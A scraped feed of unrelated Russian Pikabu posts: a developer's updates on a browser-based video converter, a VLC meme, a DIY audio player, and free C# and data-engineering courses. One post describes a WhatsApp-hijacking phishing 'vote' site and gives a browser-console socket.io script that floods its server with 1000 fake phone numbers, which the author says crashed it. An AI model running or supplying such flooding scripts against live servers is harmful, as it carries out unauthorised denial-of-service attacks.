Привет, Пикабу.
4 дня назад написал пост о том, как сделал браузерный видеоконвертер без серверов и регистрации. Ожидал 100 человек, пару комментов и тишину.
Получил поток багрепортов, запросов фич и пограничных кейсов, о которых даже не думал. Это было полезно. Вот что починил.
В комментариях справедливо написали: «Закинул видео на 200 МБ, на выходе получил 300 МБ».
Причина: фиксированные битрейты. Загружаешь видео с низким качеством — алгоритм накручивает битрейт до своего стандарта и раздувает файл.
Решение: Adaptive Bitrate. Система анализирует исходный файл и подбирает параметры так, чтобы выход гарантированно был меньше входа:
Output всегда меньше Input.
Прогресс-бар доходит до конца и замирает. Телефон греется. UI не отвечает.
Причина: JavaScript/WASM забивает память и процессор, не давая браузеру обновить интерфейс. ОС считает вкладку зависшей.
Решение:
Файл не грузится в память целиком, читается частями
Энкодер делает паузы каждые N кадров, браузер успевает отрисовать интерфейс
Самый частый запрос: «Как сжать до 8 МБ для Дискорда?»
Двухпроходное кодирование. Если первый проход даёт 8.1 МБ — автоматическая коррекция, чтобы гарантированно влезть в лимит.
Раньше: обрезать + сжать + убрать звук = 3 прогона через сервис. Долго, каждая перекодировка убивает качество.
Теперь: Action Stack. Накидываешь операции в очередь, они применяются за один цикл декодирования-кодирования. Качество страдает один раз вместо трёх.
В файле 3 озвучки, а сервис брал первую попавшуюся.
Теперь: сервис парсит метаданные и даёт выбрать нужную дорожку из списка.
Кадрирование на мобиле: touch-зона была 12 пикселей, попасть пальцем нереально. Расширил до 32 пикселей, убрал скругления углов.
Превью для видео: можно загрузить свою картинку, она станет обложкой (первым кадром).
Старые браузеры: если браузер не поддерживает WebCodecs — честное предупреждение и переключение на FFmpeg-fallback. Медленнее, но работает.
Бесплатно
Без регистрации
Без загрузки на сервер (обработка локально)
Протестировать все комбинации браузеров, ОС и устройств в одиночку невозможно.
Если нашли баг — пишите:
Браузер и версия
Операционная система
Что делали
Что сломалось
Сервис: vidocean.ru
Буду очень рад, если поддержите проект донатом(да и меня тоже)
https://pay.cloudtips.ru/p/cdf123e9
Сайт теперь должен быть доступен в РФ везде
Привет, Пикабу!
Знакомая ситуация: нужно быстро сжать видос для Телеграма или Дискорда. Открываешь первый попавшийся сайт из гугла, ждёшь загрузку... а дальше классика:
«Зарегистрируйтесь, чтобы скачать»
«Бесплатно только с водяным знаком на пол-экрана»
«Файл обрабатывается на нашем сервере»
Меня это достало настолько, что я решил разобраться, можно ли делать всё это прямо в браузере, без загрузки куда-либо. Оказалось — можно.
Современные браузеры умеют гораздо больше, чем показывать котиков. В них уже встроены технологии для работы с видео: WebCodecs для быстрого аппаратного кодирования и FFmpeg, скомпилированный под WebAssembly. Грубо говоря, вместо того чтобы гонять гигабайты на чужой сервер, браузер сам становится видеоредактором.
Файл не покидает твой компьютер. Вообще. Я не вижу твоё видео, сервер не видит твоё видео, оно просто обрабатывается у тебя локально и скачивается обратно.
Написал сервис (ссылку оставлю в конце). Собрал туда инструменты, которыми сам постоянно пользуюсь:
Базовое редактирование:
Сжать видео - три пресета, выбираешь баланс качества и размера
Обрезать по времени - быстрый режим или точный (покадровый)
Изменить разрешение - пресеты 1080p/720p/480p или свой размер
Изменить скорость - от 0.25x до 8x
Повернуть на 90°/180°/270° или отразить
Кадрировать - вырезать нужную область кадра
MP4 в GIF — с нормальной палитрой, а не размытым месивом
—MOV → MP4, AVI → MP4, WebM → MP4
Удалить звук из видео
Вытащить аудио в MP3 или WAV
Потому что делаю для себя и таких же, как я. Нет серверных расходов на обработку — вся работа на твоём железе. Мне не нужно содержать ферму серверов, которая жуёт видео круглосуточно.
Сервис работает даже без интернета после первой загрузки страницы (ну, почти — статику-то надо подгрузить).
Не буду врать, что всё идеально:
1. Скорость зависит от мощности твоего компьютера. На слабых ноутах длинные видео будут обрабатываться дольше, чем на мощных серверах.
2. Safari и Firefox иногда тупят с аудиокодеками, там используется гибрид FFmpeg+WebCodecs(работает, но не идеально).
3. GIF ограничен 30 секундами, иначе файл раздувается до неприличных размеров.
Зачем пишу
Проект делается на энтузиазме. Хочется понять, нужно ли это кому-то кроме меня.
Буду благодарен, если потестите, понагружаете и напишете в комментах:
Что сломалось (браузер, ОС, что делали)
Чего не хватает
Что бесит
Попробовать можно тут: vidocean.ru
UPD: Спасибо за безумный актив! Вас 80 тысяч, я в шоке. Из-за блокировок РКН сайт может не открываться с мобильного интернета и у некоторых провайдеров. Я уже решаю вопрос с переездом на ру-сервера. Пока пользуйтесь через Wi-Fi или с компа. Скоро всё починим!
Источник - https://t.me/roflemem/5901
Никита Жилин, выпускник школы №7 г. Кизляр, набрал 100 баллов по информатике на ЕГЭ!
С детства увлечён программированием, создавал собственные проекты, побеждал в олимпиадах. Мечтает поступить в МГУ и учиться в ШАД, чтобы разрабатывать масштабные и надёжные IT-системы.
Это Жан-Батист. В 2009 Жан-Батист начал проект VideoLAN, который впоследствии выпустил видеоплейер VLC. С 2009 года Жан-Батист не продал бесплатный проект другим компаниям и не вставил в плейер рекламу. В 2018 году Жан-Батист получил орден.
Отдельно спасибо за уровень громкости звука, превышающий 100%.
Будь, как Жан-Батист!
Простой
Сегодня в час ночи пришло сообщение от знакомой о том что нужно проголосовать за ребенка который занимается танцами,
https://danc#echam#pionship#russ#ia.ru/login/number146
везде поставлены знаки # для того чтобы вы не перешли на сайт случайно
на странице https://dancech#amp#ionshipr#ussia.ru/home/vote146 голосования мы видим -
это уже интересно то есть картинки взяты из других источников - уж подозрительно
и финалочка - нужно авторизоваться через ватсап !!!)))) отлично - посмотрим
имеется форма - не форма с номером телефона ,
но данные вроде как не отправляются - (на самом деле еще как отправляются )
это мы найдем в разделе
f12 ->network ->ws
для наказания уродов потребуется в браузере ввести в консоль
socket = io("/", {
path: "/socket.io",
query: "type=number"
});
for (let i = 0; i < 1000; i++) {
socket.emit("start_number", {number: "8"+Math.floor(Math.random() * 1000000000)})
}
тут мы соединяемся с сокетом - способом передачи данных для этого сайта
и в цикле отправляем 1000 сообщений о типа введённом номере, на 8-10 раз
их сервер - который занимается процессом угона ватсапов - упал ))))
публикую анонимно - так хоть обо мне только модеры будут знать , надеюсь
всем доброй ночи )
Пилю потихоньку самопальный карманный плеер. Контроллер stm32f427, ЦАП ad1853, цветной дисплей, microSD. Он уже давно играет mp3, имеет плейлисты и определяется как внешний ЦАП по USB. И вот вчера ночью, наконец, отладил воспроизведение flac. Просто порадуйтесь за меня, это было сложно.
Когда фрилансер по вечерам перерождается из меркантильного айтишника в альтруиста
Меня мало кто помнит но старички надеюсь пустят ностальгическую слезу. 8 лет назад здесь я кинул абсолютно безумный клич: "Буду обучать бесплатно любого желающего программированию". Я думал соберу человек 10 и в качестве хобби помогу людям. :))
Шут там, собралось почти 2000 человек и я провёл месяц без сна так, как проверял всем домашки и постоянно вёл лекции. И самое весёлое что это правда было просто хобби и я не взял ни рубля с людей а также не продавал никаких курсов. Странно это слышать в эру прогревов и теневых продаж, не правда ли?
Через 2 года после этих занятий я сел писать книгу по программированию на языке C# и благодаря участникам тех занятий мы собрали 85 000 рублей на написание на краудфандинге. Спустя 6 лет с того момента я закончил.
Книга научит вас языку программирования C# с самых основ через практику. Мы начнём с вами с переменных и закончим инкапсуляций техник динамического программирования в объектно-ориентированном дизайне (чтобы это не значило).
В книге получилось почти 400 страниц и вы можете забрать бесплатно PDF здесь - https://t.me/sakutin_csharp/2274
Спасибо Пикабу за всё!
IT, Python3, SQL, Linux, Data Engineering, разработка, Программирование, обучение, Войти в IT, Airflow
Всем привет!
Меня зовут Александр.
В IT работаю уже почти 15 лет, большую часть этого времени что-то делаю с данными: от инженерии и аналитики - до машинного обучения.
Последние несколько лет начал менторить людей (пруф: https://getmentor.dev/mentor/aleksandr-berdyshev-1720).
И меня поразило: из 10 человек, которые пытались в IT вкатиться через Python, все 10 человек шли в Backend - разработку. Где вакансий не так уж и много, т.к. приходится конкурировать с разработчиками на PHP, Go, Node.js
Я подумал: "Странно, почему все в бекендеры пытаются пойти?". Дело оказалось в том, что про инженерию или аналитику данных люди даже не слышали (а там вакансий даже больше, чем на бекенд на Python. Сейчас просто дикая нехватка аналитиков данных).
А почему не слышали - потому что на русскоязычном ютубе об этом информации практически нет.
Я решил исправить это дело, набрал бесплатно группу в 12 человек и начал их учить на инженеров данных. Все снятые видео выкладывал на ютуб.
Почему стоит входить в IT через инженерию данных:
Бесплатный курс "С 0 на инженера данных" тут:
Записал 40 уроков - их реально пройти за 4 месяца со всеми ДЗ.
Рассказываю про Python, Linux, SQL, Airflow.
Видоса до 4-го бывают иногда проблемы со звуком, потом эти проблемы решил.
Записывал всё для людей, начинающих с 0 - так что не стоит на уроке с типами данных писать, что я не даю на 1-2 уроке людям сразу мутабельность - у меня была задача идти в таком темпе, чтобы новички всё поняли и не забили.
Надеюсь кому-то это поможет изменить свою жизнь и начать нормально зарабатывать.